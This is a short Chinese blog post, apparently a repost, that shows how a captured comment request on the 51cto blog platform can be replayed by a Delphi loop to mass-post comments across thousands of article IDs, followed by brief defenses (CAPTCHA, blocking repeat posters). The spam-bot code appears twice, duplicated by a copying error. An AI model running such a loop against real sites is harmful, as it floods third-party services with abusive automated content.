去年在对一些网站做安全检测时发现不少blog系统存在评论漏洞,破坏者可以通过自制工具达到疯狂发评论的目的,本文就以51cto的blog系统为例吧,希望blog开发者可根据此文找出解决问题的办法(好像已经加验证码了)。
首先我们先来抓包,抓http数据包的软件很多,这里使用的是Achilles,抓到的信息如图1:
![](https://i-blog.csdnimg.cn/blog_migrate/f7723ec273b95bacdbeedfd6b769602c.jpeg)
图1
其中authnum=&tid=107858&username=sally&content=%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B%E6%BC%8F%E6%B4%9E&niming=0是关键数据,
107858是blog的文章号,%E6%B5%8B%E8%AF%95%E4%B8%80%E4%B8%8B%E6%BC%8F%E6%B4%9E是汉字编码(不知道这样描述对不对),翻译过来的意思是“测试一下漏洞”,也就是评论的内容,得到这些后就可以到delphi中写代码了:
var
i:integer;
strurl:string;
begin
for i:=800 to 9000 do
begin
sleep(8000);
StrUrl:='https://blog.51cto.com/comment.php?&tid='+Trim(inttostr(i))+'&content=评论的汉字编码&submit=%CC%E1+%BD%BB';
ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
end;
i:integer;
strurl:string;
begin
for i:=800 to 9000 do
begin
sleep(8000);
StrUrl:='https://blog.51cto.com/comment.php?&tid='+Trim(inttostr(i))+'&content=评论的汉字编码&submit=%CC%E1+%BD%BB';
ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
end;
sleep(8000)为停顿8秒,i为文章编号,程序编译后就会每格8秒钟就会通过ie向指定的文章提交评论。
防范评论灌水机的方法也很简单,加验证码,屏蔽在短时间内大量发送同一内容评论的id和ip。
转载于:https://blog.51cto.com/sally/115834